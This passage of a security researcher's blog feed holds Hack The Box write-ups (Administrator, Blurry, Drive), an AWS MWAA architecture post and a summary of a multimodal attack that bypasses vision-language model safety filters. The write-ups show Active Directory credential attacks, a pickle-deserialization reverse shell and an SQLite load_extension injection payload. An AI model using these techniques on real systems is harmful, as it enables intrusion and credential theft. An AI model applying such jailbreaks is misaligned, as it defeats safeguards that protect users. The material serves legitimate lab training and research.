<h3 id="access-the-full-paper-and-and-code-on-github">Access the full <a href="https://github.com/Bimo99B9/BimodalAttack/blob/master/assets/report.pdf">paper</a> and and code on <a href="https://github.com/Bimo99B9/BimodalAttack">GitHub</a></h3>]]></content><author><name>Daniel López Gala</name><email>daniel.lopezgala@epfl.ch</email></author><category term="AI Security" /><category term="machine-learning" /><category term="adversarial-attacks" /><category term="vlm" /><category term="llava" /><category term="gemma" /><category term="pgd" /><category term="gcg" /><category term="multimodal" /><category term="jailbreaking" /><summary type="html"><![CDATA[We developed a joint adversarial attack that combines image and text perturbations to bypass the safety filters of advanced Vision-Language Models (VLMs) like LLaVA and Gemma.]]></summary></entry><entry><title type="html">Administrator - Hack The Box</title><link href="https://daniellopezgala.ch/htb-writeup-administrator/" rel="alternate" type="text/html" title="Administrator - Hack The Box" /><published>2024-11-16T00:00:00+00:00</published><updated>2024-11-16T00:00:00+00:00</updated><id>https://daniellopezgala.ch/htb-writeup-administrator</id><content type="html" xml:base="https://daniellopezgala.ch/htb-writeup-administrator/"><![CDATA[<p><img src="/assets/images/htb-writeup-administrator/admin_logo.png" alt="" /></p>

<h1 id="overview">Overview</h1>

<p>This writeup showcases the exploitation of the <strong>Administrator</strong> machine on Hack The Box. The target system is a Windows Server 2022 Domain Controller, highlighting vulnerabilities in Active Directory configurations and mismanaged credentials.</p>

<h1 id="nmap-enumeration">Nmap Enumeration</h1>

<p>An initial Nmap scan was performed to identify open ports and services:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-p-</span> <span class="nt">-T5</span> <span class="nt">--open</span> <span class="nt">-vv</span> <span class="nt">-n</span> <span class="nt">-Pn</span> 10.10.11.42 <span class="nt">-oG</span> ports
</code></pre></div></div>

<p>Open ports included:</p>

<ul>
  <li>FTP: 21/tcp</li>
  <li>Domain Services: 53/tcp</li>
  <li>Kerberos: 88/tcp</li>
  <li>SMB: 445/tcp</li>
  <li>LDAP: 389/tcp</li>
  <li>WinRM: 5985/tcp</li>
</ul>

<p><img src="/assets/images/htb-writeup-administrator/admin1.png" alt="" /></p>

<p>A targeted scan was then executed for detailed service and version information:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sCV</span> <span class="nt">-p21</span>,53,88,135,139,389,445,593,636,3268,3269,5985,9389,47001 10.10.11.42 <span class="nt">-oN</span> targeted
</code></pre></div></div>

<p>Findings confirmed the server as a Windows Domain Controller with services like Kerberos, SMB, and LDAP configured:</p>

<p><img src="/assets/images/htb-writeup-administrator/admin4.png" alt="" /></p>

<h1 id="initial-access">Initial Access</h1>

<p>Using <code class="language-plaintext highlighter-rouge">crackmapexec</code> with discovered credentials <code class="language-plaintext highlighter-rouge">Olivia:ichliebedich</code>, it was possible to verify domain access:</p>

<p><img src="/assets/images/htb-writeup-administrator/admin5.png" alt="" /></p>

<p>With these credentials, <code class="language-plaintext highlighter-rouge">evil-winrm</code> provided initial shell access. Tools like Mimikatz, BloodHound, and SharpHound were found in Olivia’s documents folder:</p>

<p><img src="/assets/images/htb-writeup-administrator/admin8.png" alt="" /></p>

<h1 id="privilege-enumeration">Privilege Enumeration</h1>

<p>Running <code class="language-plaintext highlighter-rouge">whoami /priv</code> revealed Olivia’s privileges, including <code class="language-plaintext highlighter-rouge">SeMachineAccountPrivilege</code>, allowing the addition of workstations to the domain. Account details were checked with:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>net user Olivia
</code></pre></div></div>

<p><img src="/assets/images/htb-writeup-administrator/admin9.png" alt="" /></p>

<h1 id="active-directory-enumeration">Active Directory Enumeration</h1>

<h2 id="sharphound-collection">SharpHound Collection</h2>
<p>Using <code class="language-plaintext highlighter-rouge">SharpHound.exe -c all</code>, data about domain mappings and group memberships was collected for further analysis:</p>

<p><img src="/assets/images/htb-writeup-administrator/admin10.png" alt="" /></p>

<h2 id="bloodhound-analysis">BloodHound Analysis</h2>
<p>Data was analyzed with BloodHound to identify privilege escalation paths. Using <code class="language-plaintext highlighter-rouge">netexec</code>, additional enumeration was performed, and findings were exported:</p>

<p><img src="/assets/images/htb-writeup-administrator/admin14.png" alt="" /></p>

<h2 id="rpc-enumeration">RPC Enumeration</h2>
<p>Using <code class="language-plaintext highlighter-rouge">rpcclient</code>, domain users and groups were enumerated. Key users like <code class="language-plaintext highlighter-rouge">Administrator</code> and <code class="language-plaintext highlighter-rouge">michael</code> were identified:</p>

<p><img src="/assets/images/htb-writeup-administrator/admin15.png" alt="" /></p>

<h1 id="kerberoasting-michael">Kerberoasting Michael</h1>

<p>Time was synchronized with the domain controller using <code class="language-plaintext highlighter-rouge">rdate</code> to ensure Kerberos attacks work properly:</p>

<p><img src="/assets/images/htb-writeup-administrator/admin19.png" alt="" /></p>

<p>Using <code class="language-plaintext highlighter-rouge">GetUserSPNs.py -request</code>, a Kerberos hash for the user <code class="language-plaintext highlighter-rouge">michael</code> was extracted and cracked with <code class="language-plaintext highlighter-rouge">hashcat</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hashcat <span class="nt">-m</span> 13100 michael.hash rockyou.txt
</code></pre></div></div>

<p>Password retrieved: <code class="language-plaintext highlighter-rouge">password123</code>.</p>

<p><img src="/assets/images/htb-writeup-administrator/admin21.png" alt="" /></p>

<h1 id="accessing-michaels-account">Accessing Michael’s Account</h1>

<p>With the cracked password, logged in as Michael using <code class="language-plaintext highlighter-rouge">evil-winrm</code> and verified privileges:</p>

<p><img src="/assets/images/htb-writeup-administrator/admin22.png" alt="" /></p>

<p>Analyzing Active Directory permissions revealed significant control over key objects:</p>

<p><img src="/assets/images/htb-writeup-administrator/admin23.png" alt="" /></p>

<h1 id="exploiting-benjamins-account">Exploiting Benjamin’s Account</h1>

<p>Michael’s privileges were used to reset Benjamin’s password via <code class="language-plaintext highlighter-rouge">net rpc</code>. The new password allowed login via WinRM:</p>

<p><img src="/assets/images/htb-writeup-administrator/admin25.png" alt="" /></p>

<h1 id="ftp-discovery">FTP Discovery</h1>

<p>Logged into the FTP service using Benjamin’s credentials and retrieved a file <code class="language-plaintext highlighter-rouge">Backup.psafe3</code>. The file was cracked using <code class="language-plaintext highlighter-rouge">john</code> with <code class="language-plaintext highlighter-rouge">rockyou.txt</code>:</p>

<p>Password retrieved: <code class="language-plaintext highlighter-rouge">tequieromucho</code>.</p>

<p><img src="/assets/images/htb-writeup-administrator/admin28.png" alt="" /></p>

<h1 id="using-password-safe-credentials">Using Password Safe Credentials</h1>

<p>Using <code class="language-plaintext highlighter-rouge">pwsafe</code>, additional credentials for users <code class="language-plaintext highlighter-rouge">alexander</code>, <code class="language-plaintext highlighter-rouge">emily</code>, and <code class="language-plaintext highlighter-rouge">emma</code> were extracted. Emily’s credentials enabled login via WinRM:</p>

<p><img src="/assets/images/htb-writeup-administrator/admin31.png" alt="" /></p>

<h1 id="privilege-escalation-to-ethan">Privilege Escalation to Ethan</h1>

<p>Emily’s permissions allowed modification of Ethan’s account. Using <code class="language-plaintext highlighter-rouge">pywhisker.py</code>, a certificate was created and exploited to retrieve Ethan’s credentials:</p>

<p><img src="/assets/images/htb-writeup-administrator/admin33.png" alt="" /></p>

<p>Ethan’s Kerberos hash was cracked to retrieve the password: <code class="language-plaintext highlighter-rouge">Limpbizkit</code>.</p>

<p><img src="/assets/images/htb-writeup-administrator/admin35.png" alt="" /></p>

<h1 id="domain-admin-privileges">Domain Admin Privileges</h1>

<p>Ethan’s credentials were used with <code class="language-plaintext highlighter-rouge">secretsdump.py</code> to extract NTDS.dit secrets, including the Administrator’s NTLM hash:</p>

<p><img src="/assets/images/htb-writeup-administrator/admin37.png" alt="" /></p>

<p>Using the Administrator’s hash with <code class="language-plaintext highlighter-rouge">evil-winrm</code>, full control of the domain was achieved:</p>

<p><img src="/assets/images/htb-writeup-administrator/admin38.png" alt="" /></p>

<h1 id="conclusion">Conclusion</h1>

<p>Successfully exploited the <strong>Administrator</strong> machine, gaining domain administrator privileges. A rewarding challenge in Active Directory exploitation. 🎉</p>

<p><img src="/assets/images/htb-writeup-administrator/admin39.png" alt="" /></p>]]></content><author><name>Daniel López Gala</name><email>daniel.lopezgala@epfl.ch</email></author><category term="Writeups" /><category term="hackthebox" /><category term="Active Directory" /><category term="Windows Server" /><category term="Privilege Escalation" /><category term="Penetration Testing" /><summary type="html"><![CDATA[Exploring Active Directory vulnerabilities to achieve domain administrator access.]]></summary></entry><entry><title type="html">Blurry - Hack The Box</title><link href="https://daniellopezgala.ch/htb-writeup-blurry/" rel="alternate" type="text/html" title="Blurry - Hack The Box" /><published>2024-09-08T00:00:00+00:00</published><updated>2024-09-08T00:00:00+00:00</updated><id>https://daniellopezgala.ch/htb-writeup-blurry</id><content type="html" xml:base="https://daniellopezgala.ch/htb-writeup-blurry/"><![CDATA[<p><img src="/assets/images/htb-writeup-blurry/blurry_logo.png" alt="" /></p>

<p>Blurry is a medium-difficulty Hack The Box machine that highlights a vulnerability in ClearML, a popular ML/DL tool. By exploiting insecure pickle deserialization (CVE-2024-24590) and leveraging misconfigurations, attackers can escalate privileges and gain root access, showcasing real-world risks in machine learning environments.</p>

<h2 id="system-enumeration">System Enumeration</h2>

<p>First, an <code class="language-plaintext highlighter-rouge">nmap</code> is performed to extract the open ports of the system.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry1.png" alt="" /></p>

<p>Knowing that the open ports were <code class="language-plaintext highlighter-rouge">22</code> and <code class="language-plaintext highlighter-rouge">80</code>, this ports are scanned with the <code class="language-plaintext highlighter-rouge">-sCV</code> flags.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry2.png" alt="" /></p>

<p>We discover an <code class="language-plaintext highlighter-rouge">nginx 1.18.0</code>web server running in the port <code class="language-plaintext highlighter-rouge">80</code>, that redirects to <code class="language-plaintext highlighter-rouge">http://app.blurry.htb/</code>.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry3.png" alt="" /></p>

<p>Editing the hosts file, we add the domains of the system to the target IP.</p>

<h2 id="web-analysis">Web Analysis</h2>

<p>The platform has a login to a ClearML portal.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry4.png" alt="" /></p>

<p><img src="/assets/images/htb-writeup-blurry/blurry5.png" alt="" /></p>

<p>Looking to the Full Name field, we get some usernames, including a “Default User”.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry6.png" alt="" /></p>

<p>When selecting the Default User, it gets automatically logged in. In the workspace, there are some keys.</p>

<h2 id="foothold-and-user-access">Foothold and user access</h2>

<p><img src="/assets/images/htb-writeup-blurry/blurry7.png" alt="" /></p>

<p>The <code class="language-plaintext highlighter-rouge">CVE-2024-24590</code> exploits a pickle file deserialization issue to execute arbitrary code in a ClearML system.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry8.png" alt="" /></p>

<p>When running the script, a project is requested. Therefore, we can create a project in the ClearML website, or use one of the projects already created.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry9.png" alt="" /></p>

<p>Despite this, when running the exploit, we get an error because ClearML is not running in our system.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry10.png" alt="" /></p>

<p>Following the instructions of the web server, we can install ClearML.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry11.png" alt="" /></p>

<p>The system allows us to create new credentials, which provides several new server subdomains.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry12.png" alt="" /></p>

<p>Again, we add these domains to the <code class="language-plaintext highlighter-rouge">etc/hosts/</code> file.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry13.png" alt="" /></p>

<p>With these changes, it is possible to init ClearML in our system with <code class="language-plaintext highlighter-rouge">clearml-init</code>.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry14.png" alt="" /></p>

<p>Running the script while listening on a port for incomming connections, allows us to get a reverse shell with user access, under the <code class="language-plaintext highlighter-rouge">jippity</code> user.</p>

<h2 id="privilege-escalation">Privilege escalation</h2>

<p>This user can run the command <code class="language-plaintext highlighter-rouge">/usr/bin/evaluate_model /models/*.pth</code> as root.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry15.png" alt="" /></p>

<p>First, I copied the <code class="language-plaintext highlighter-rouge">id_rsa</code> to have SSH connection to the system without the reverse shell.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry16.png" alt="" /></p>

<p>Assigning the correct permissions and connecting to the machine with SSH makes the shell more stable for further exploitation.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry17.png" alt="" /></p>

<p>The privilege escalation is done using a malicious pytorch model that, when run, executes a connection with <code class="language-plaintext highlighter-rouge">nc</code> to our host. As this is run as <code class="language-plaintext highlighter-rouge">root</code>, it allows us to get a reverse shell with root access to the system.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry18.png" alt="" /></p>

<p>The next step is to run the <code class="language-plaintext highlighter-rouge">evaluate_model</code> binary, which will “evaluate”, and therefore run, our malicious model, while we listen in the specified port for the incoming connection.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry19.png" alt="" /></p>

<p>This gets us the root shell, and the root flag!</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry20.png" alt="" /></p>

<h2 id="summary">Summary</h2>

<p>This has been an easy-medium challenge, that showcases how a very common ML/DL tool can be exploited, from a simple deserialization issue, to obtain root access to the server.</p>

<p><img src="/assets/images/htb-writeup-blurry/blurry21.png" alt="" /></p>]]></content><author><name>Daniel López Gala</name><email>daniel.lopezgala@epfl.ch</email></author><category term="Writeups" /><category term="hackthebox" /><category term="medium" /><category term="machine-learning" /><category term="cybersecurity" /><category term="deserialization" /><category term="privilege-escalation" /><category term="clearml" /><category term="reverse-shell" /><summary type="html"><![CDATA[The blurry machine shows a vulnerability in ClearML, a development suite for ML/DL. It is classified with a medium difficulty.]]></summary></entry><entry><title type="html">Drive - Hack The Box</title><link href="https://daniellopezgala.ch/htb-writeup-drive/" rel="alternate" type="text/html" title="Drive - Hack The Box" /><published>2024-02-17T00:00:00+00:00</published><updated>2024-02-17T00:00:00+00:00</updated><id>https://daniellopezgala.ch/htb-writeup-drive</id><content type="html" xml:base="https://daniellopezgala.ch/htb-writeup-drive/"><![CDATA[<p><img src="/assets/images/htb-writeup-drive/drive_logo.png" alt="" /></p>

<p>The Drive machine is a hard Linux system that needs reverse engineering, and performing a SQL injection on a binary.</p>

<h2 id="web-enumeration">Web Enumeration</h2>

<p>The website is a platform similar to Google Drive, where it is possible to register and upload files.</p>

<p><img src="/assets/images/htb-writeup-drive/drive2.png" alt="" /></p>

<p>The files are obtained by a request to <code class="language-plaintext highlighter-rouge">/id/getFileDetail/</code>. To enumerate possible files, it is possible to use Burpsuite in Intruder mode by parameterising the id of the file. In this way, depending on the server response (Not Found vs. Unauthorised), it is possible to identify files of other users.</p>

<p><img src="/assets/images/htb-writeup-drive/drive1.png" alt="" /></p>

<p>One of the ids found is <code class="language-plaintext highlighter-rouge">79</code>. When entering <code class="language-plaintext highlighter-rouge">drive.htb/79/</code>, you get a Not Found message.</p>

<p><img src="/assets/images/htb-writeup-drive/drive4.png" alt="" /></p>

<h2 id="blocking-functionality">Blocking Functionality</h2>

<p>The platform has a file “reservation” system, which allows to make files accessible to external users. Below we try to reserve a sample file to see how the web page behaves.</p>

<p><img src="/assets/images/htb-writeup-drive/drive5.png" alt="" /></p>

<p>The file is successfully backed up.</p>

<p><img src="/assets/images/htb-writeup-drive/drive6.png" alt="" /></p>

<p>Using this file as an example, the <code class="language-plaintext highlighter-rouge">/id/block</code> path is discovered which allows access to a reserved file. Thus, via the path <code class="language-plaintext highlighter-rouge">/79/block/</code> one of the previously found files can be accessed.</p>

<p><img src="/assets/images/htb-writeup-drive/drive7.png" alt="" /></p>

<p>This file contains a message to the development team with the credentials of “martin”.</p>

<p><img src="/assets/images/htb-writeup-drive/drive8.png" alt="" /></p>

<p>These credentials give SSH access with the user martin.</p>

<p><img src="/assets/images/htb-writeup-drive/drive9.png" alt="" /></p>

<p>After enumerating the system, in <code class="language-plaintext highlighter-rouge">var/www/backups</code> there are a number of backups encrypted in <code class="language-plaintext highlighter-rouge">.7z</code>, as well as a <code class="language-plaintext highlighter-rouge">db.sqlite3</code> database.</p>

<p><img src="/assets/images/htb-writeup-drive/drive10.png" alt="" /></p>

<p>With a server up with <code class="language-plaintext highlighter-rouge">python3 -m http.server 8000</code>, the database is downloaded to our system.</p>

<p><img src="/assets/images/htb-writeup-drive/drive12.png" alt="" /></p>

<p>With <code class="language-plaintext highlighter-rouge">sqlite3</code> we load the database and find a series of hashes.</p>

<p><img src="/assets/images/htb-writeup-drive/drive13.png" alt="" /></p>

<p>Using <code class="language-plaintext highlighter-rouge">hashid</code>, we find the mode of the hash.</p>

<p><img src="/assets/images/htb-writeup-drive/drive15.png" alt="" /></p>

<p>However, I was unable to crack these hashes, so I continued to enumerate the machine. It was probably a rabbit hole.</p>

<p><img src="/assets/images/htb-writeup-drive/drive17.png" alt="" /></p>

<p>In the <code class="language-plaintext highlighter-rouge">/usr/local/bin</code> directory is a <code class="language-plaintext highlighter-rouge">gitea</code> binary for which you have execute permissions.</p>

<p><img src="/assets/images/htb-writeup-drive/drive18.png" alt="" /></p>

<p>When running it, an error appears as the gitea server is already running, probably because another user already launched it.</p>

<p><img src="/assets/images/htb-writeup-drive/drive19.png" alt="" /></p>

<h2 id="gitea">Gitea</h2>

<p>Gitea is accessed by port forwarding with the command <code class="language-plaintext highlighter-rouge">ssh martin@10.10.11.235 -L 3000:drive.htb:3000</code>.</p>

<p><img src="/assets/images/htb-writeup-drive/drive24.png" alt="" /></p>

<p>This way, in <code class="language-plaintext highlighter-rouge">localhost:3000</code> we find the Gitea platform.</p>

<p><img src="/assets/images/htb-writeup-drive/drive25.png" alt="" /></p>

<p>Listing the platform, we find the users. One of them corresponds to the user <code class="language-plaintext highlighter-rouge">martin</code>, for which we have the SSH credentials.</p>

<p><img src="/assets/images/htb-writeup-drive/drive26.png" alt="" /></p>

<p>With the SSH password of <code class="language-plaintext highlighter-rouge">martin</code> and the user <code class="language-plaintext highlighter-rouge">martinCruz</code> we get access. We found a repository of the <code class="language-plaintext highlighter-rouge">DoodleGrive</code> platform.</p>

<p><img src="/assets/images/htb-writeup-drive/drive27.png" alt="" /></p>

<p>In the repository, there is a <code class="language-plaintext highlighter-rouge">db_backup.sh</code> file containing the credential that encrypts the backups we found earlier.</p>

<p><img src="/assets/images/htb-writeup-drive/drive28.png" alt="" /></p>

<p>We then reuse the open http server with python to download these backups.</p>

<p><img src="/assets/images/htb-writeup-drive/drive29.png" alt="" /></p>

<p>And unzip with the password found.</p>

<p><img src="/assets/images/htb-writeup-drive/drive30.png" alt="" /></p>

<p>Each backup contains a database with different passwords each time, for a number of users. One of them, the most recent, has the credentials hashed with PBKDF2, so we ignore them for now.</p>

<p><img src="/assets/images/htb-writeup-drive/drive31.png" alt="" /></p>

<p>The others use SHA1.</p>

<p><img src="/assets/images/htb-writeup-drive/drive32.png" alt="" /></p>

<p>I gathered all the hashes and started a brute force attack with <code class="language-plaintext highlighter-rouge">hashcat -m 124 -a 0 -O hashes.txt rockyou.txt</code>.</p>

<p><img src="/assets/images/htb-writeup-drive/drive33.png" alt="" /></p>

<p>Three similar passwords are found with this attack.</p>

<p><img src="/assets/images/htb-writeup-drive/drive34.png" alt="" /></p>

<p>Trying SSH with the other user on the system, <code class="language-plaintext highlighter-rouge">tom</code>, all three credentials, we find that <code class="language-plaintext highlighter-rouge">johnmayer7</code> works and we get access.</p>

<p><img src="/assets/images/htb-writeup-drive/drive36.png" alt="" /></p>

<h2 id="privilege-escalation">Privilege escalation</h2>

<p>A <code class="language-plaintext highlighter-rouge">README.txt</code> message is found in the system indicating the development of a new project, “DoodleGrive self hosted”, a CLI tool that is still under development.</p>

<p><img src="/assets/images/htb-writeup-drive/drive39.png" alt="" /></p>

<p>We transfer the binary to our system and check that when we run it, it asks for some credentials.</p>

<p><img src="/assets/images/htb-writeup-drive/drive40.png" alt="" /></p>

<p>I used <code class="language-plaintext highlighter-rouge">ghidra</code> to scan the binary for any clues.</p>

<p><img src="/assets/images/htb-writeup-drive/drive43.png" alt="" /></p>

<p>So, with the binary decompiled, in <code class="language-plaintext highlighter-rouge">main</code> are the credentials that the binary checks for when it asks the user for them.</p>

<p><img src="/assets/images/htb-writeup-drive/drive45.png" alt="" /></p>

<p>When you use them and check that they work, you get six options related to accounts and the server.</p>

<p><img src="/assets/images/htb-writeup-drive/drive46.png" alt="" /></p>

<p>One of them, number 5, attempts to activate the account of a given user. This allows it to receive a username and performs an action on a supposed database.</p>

<p><img src="/assets/images/htb-writeup-drive/drive47.png" alt="" /></p>

<p>Digging into the binary, we find the query that the binary uses to perform this action.</p>

<p><img src="/assets/images/htb-writeup-drive/drive48.png" alt="" /></p>

<p>You can see that the given user is a parameter of this query that updates the database, which leads us to think that a SQL injection can be performed in the database through the binary from the original system.</p>

<p><img src="/assets/images/htb-writeup-drive/drive50.png" alt="" /></p>

<p>The query is <code class="language-plaintext highlighter-rouge">/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line 'UPDATE accounts_customuser SET is_active=1 WHERE username="%s";'</code>.</p>

<p>To execute a Remote Code Execution (RCE) attack, the <code class="language-plaintext highlighter-rouge">load_extension()</code> function of SQLite3 is used.</p>

<p>The binary escapes certain characters, so the <code class="language-plaintext highlighter-rouge">char()</code> function must be used to send the compiled text to be executed in ASCII.</p>

<p>The payload will be <code class="language-plaintext highlighter-rouge">+load_extension(char(46,47,122))+</code> where 46 is “.”, 47 is “/” and 122 is “z”, so you can execute “./z”.</p>

<p><img src="/assets/images/htb-writeup-drive/drive53.png" alt="" /></p>

<p>The <code class="language-plaintext highlighter-rouge">z.c</code> file contains the code that will copy the flag, although you can also run a command to create a reverse shell.</p>

<p><img src="/assets/images/htb-writeup-drive/drive51.png" alt="" /></p>

<p>We then run the payload.</p>

<p><img src="/assets/images/htb-writeup-drive/drive54.png" alt="" /></p>

<p>And we can check that the flag appears in the intended path, <code class="language-plaintext highlighter-rouge">/tmp/ab.txt</code>.</p>

<p><img src="/assets/images/htb-writeup-drive/drive55.png" alt="" /></p>

<p>With this we finish the Drive machine, very complete and complex at the same time.</p>

<p><img src="/assets/images/htb-writeup-drive/drive57.png" alt="" /></p>]]></content><author><name>Daniel López Gala</name><email>daniel.lopezgala@epfl.ch</email></author><category term="Writeups" /><category term="hackthebox" /><category term="hard" /><category term="infosec" /><category term="reverse-engineering" /><category term="ghidra" /><category term="sql-injection" /><summary type="html"><![CDATA[The Drive machine is a hard Linux system that needs reverse engineering, and performing a SQL injection on a binary.]]></summary></entry><entry><title type="html">Serverless Apache Airflow with AWS MWAA</title><link href="https://daniellopezgala.ch/serverless-mwaa/" rel="alternate" type="text/html" title="Serverless Apache Airflow with AWS MWAA" /><published>2024-01-05T00:00:00+00:00</published><updated>2024-01-05T00:00:00+00:00</updated><id>https://daniellopezgala.ch/serverless-mwaa</id><content type="html" xml:base="https://daniellopezgala.ch/serverless-mwaa/"><![CDATA[<p>At Vumi, we update daily market data of all kinds and from multiple providers, such as prices, events (dividends and splits), asset allocation (by sectors, countries, categories…), market changes (delisted stocks, ticker changes), and many other things. This involves millions of pieces of data that we ingest, process, transform, and load into our databases every day.</p>

<p>However, most of these ETL processes only need to be run once a day. So we set up an architecture that would allow us to have an Apache Airflow available only the hours we needed it. How did we do that?</p>

<p><img src="/assets/images/data-eng-serverless-mwaa/img1.png" alt="" /></p>

<p>Vumi is deployed on AWS, and this provider offers MWAA (Managed Workflows for Apache Airflow) as a solution for deploying an Airflow environment. It uses an S3 bucket to store DAGs, requirements, and other necessary files. In addition, it allows environments to be monitored with CloudWatch, which is very useful when the environment is not active.</p>

<p><img src="/assets/images/data-eng-serverless-mwaa/img2.png" alt="" /></p>

<p>However, AWS does not offer a Serverless implementation of the MWAA environment, but when the environment is deleted, all components, including the database, are completely removed, losing metadata and other configuration information such as roles and permissions, as well as logs of DAG executions. This makes it very complicated to create and destroy an environment every day. At the same time, having a continuously active environment is inefficient, as it consumes resources even when no tasks are being processed.</p>

<p>To solve this, we use two processes that create and import, and export and delete environment details before and after DAG scheduling. These two processes are orchestrated with Step Functions and scheduled with EventBridge. To save the data, a DAG pauses execution and exports in S3 all information from the active DAGs to a CSV file.</p>

<p>The next day, a similar process retrieves the configuration of the exported environment and uses it to recreate it. When the creation is finished, another DAG restores the active DAGs.</p>

<p><img src="/assets/images/data-eng-serverless-mwaa/img1.jpg" alt="" /></p>

<p>The concrete implementation has two additional stacks. One of them polls the environment to verify its creation or deletion, and to know when to run the metadata export and import DAGs. The other uses EventBridge and SNS to send notifications when part of the process fails.</p>

<p><img src="/assets/images/data-eng-serverless-mwaa/img6.png" alt="" /></p>

<p>The complete export and re-import flow is as follows:</p>

<ol>
  <li>EventBridge Scheduler starts the execution of the pause Step Function at the time scheduled by a Cron expression.</li>
  <li>GetEnvironment from the AWS SDK retrieves the details of the active environment.</li>
  <li>
    <p>The environment-backup.json object is saved to the backup S3. This file contains the environment configuration, such as Airflow version, configuration options, the S3 path of the environment DAGs, number of workers…</p>

    <p><img src="/assets/images/data-eng-serverless-mwaa/img7.png" alt="" /></p>
  </li>
  <li>A token is created for the export DAG.</li>
  <li>
    <p>The StoreMetadata lambda starts the export DAG in the still active environment. This DAG pauses the running DAGs, and exports all Apache Airflow data and variables. If it fails, it reactivates them.</p>

    <p><img src="/assets/images/data-eng-serverless-mwaa/img9.png" alt="" /></p>
  </li>
  <li>
    <p>Environment metadata is exported to S3 in multiple CSVs.</p>

    <p><img src="/assets/images/data-eng-serverless-mwaa/img11.png" alt="" /></p>
  </li>
  <li>The export DAG notifies the Step Function of the success.</li>
  <li>The environment is removed via the AWS SDK.</li>
  <li>The polling step function periodically checks the status of the environment until successful deletion is confirmed.</li>
</ol>

<p>To recreate the environment the next day, the process is similar, although in this case an additional lambda is used to create the environment with the information from the previously exported environment-backup.json.</p>

<p><img src="/assets/images/data-eng-serverless-mwaa/img12.png" alt="" /></p>

<p>The last lambda invokes the re-import DAG when the environment finishes creating. This DAG reads the exported CSV files from S3 and re-imports it into the Airflow database, thus activating the DAGs and resuming the execution of the environment.</p>

<p><img src="/assets/images/data-eng-serverless-mwaa/img13.png" alt="" /></p>

<p>This solution saves up to 87.5% of the cost of the environment compared to running it continuously without implementing the automation explained above.</p>

<p>In the long term, it will be necessary to extend the time we need the cluster active, especially when non-daily ETL processes are required. At the moment, these continuous processes are few and light, and we do not use MWAA for this.</p>

<p>If this sounds like a useful solution, AWS provides an implementation in its <a href="https://github.com/aws-samples/amazon-mwaa-examples/tree/main/usecases/start-stop-mwaa-environment#building-and-deploying-the-project">GitHub repository</a>, although we had to make changes to resolve some issues it had. For example, the CSV export and read CSV had inconsistencies that periodically caused DAGs to be disabled. Also, backups grow after many cycles, and it is necessary to periodically clean the environment’s databases.</p>]]></content><author><name>Daniel López Gala</name><email>daniel.lopezgala@epfl.ch</email></author><category term="Data Engineering" /><category term="cloud computing" /><category term="AWS" /><category term="MWAA" /><category term="Apache Airflow" /><category term="serverless" /><category term="ETL" /><category term="data processing" /><category term="automation" /><summary type="html"><![CDATA[Optimizing ETL processes using a serverless architecture with Apache Airflow on AWS MWAA, achieving significant cost savings and efficiency.]]></summary></entry><entry><title type="html">AgaporniOS</title><link href="https://daniellopezgala.ch/papers-agapornios/" rel="alternate" type="text/html" title="AgaporniOS" /><published>2022-12-24T00:00:00+00:00</published><updated>2022-12-24T00:00:00+00:00</updated><id>https://daniellopezgala.ch/papers-agapornios</id><content type="html" xml:base="https://daniellopezgala.ch/papers-agapornios/"><![CDATA[<p>Si quieres descargar el PDF para poder acceder a los enlaces o para poder copiar y pegar los comandos, haz click <a href="/assets/images/papers-agapornios/agapornios.pdf">aquí</a>.</p>

<p><img src="/assets/images/papers-agapornios/agapornios1.jpg" alt="" />
<img src="/assets/images/papers-agapornios/agapornios2.jpg" alt="" />
<img src="/assets/images/papers-agapornios/agapornios3.jpg" alt="" />
<img src="/assets/images/papers-agapornios/agapornios4.jpg" alt="" />
<img src="/assets/images/papers-agapornios/agapornios5.jpg" alt="" />
<img src="/assets/images/papers-agapornios/agapornios6.jpg" alt="" />
<img src="/assets/images/papers-agapornios/agapornios7.jpg" alt="" />
<img src="/assets/images/papers-agapornios/agapornios8.jpg" alt="" />
<img src="/assets/images/papers-agapornios/agapornios9.jpg" alt="" />
<img src="/assets/images/papers-agapornios/agapornios10.jpg" alt="" />
<img src="/assets/images/papers-agapornios/agapornios11.jpg" alt="" />
<img src="/assets/images/papers-agapornios/agapornios12.jpg" alt="" />
<img src="/assets/images/papers-agapornios/agapornios13.jpg" alt="" />
<img src="/assets/images/papers-agapornios/agapornios14.jpg" alt="" />
<img src="/assets/images/papers-agapornios/agapornios15.jpg" alt="" /></p>]]></content><author><name>Daniel López Gala</name><email>daniel.lopezgala@epfl.ch</email></author><category term="Scripts" /><category term="system configuration" /><category term="configuration" /><category term="tools" /><category term="setup" /><category term="bspwm" /><category term="scripting" /><category term="programming" /><summary type="html"><![CDATA[Configuración y personalización de un entorno Linux orientado a pruebas de penetración y seguridad ofensiva]]></summary></entry><entry><title type="html">Volatility</title><link href="https://daniellopezgala.ch/papers-volatility/" rel="alternate" type="text/html" title="Volatility" /><published>2022-12-24T00:00:00+00:00</published><updated>2022-12-24T00:00:00+00:00</updated><id>https://daniellopezgala.ch/papers-volatility</id><content type="html" xml:base="https://daniellopezgala.ch/papers-volatility/"><![CDATA[<p>Si quieres descargar el PDF para poder acceder a los enlaces, haz click <a href="/assets/images/papers-volatility/volatility.pdf">aquí</a>.</p>

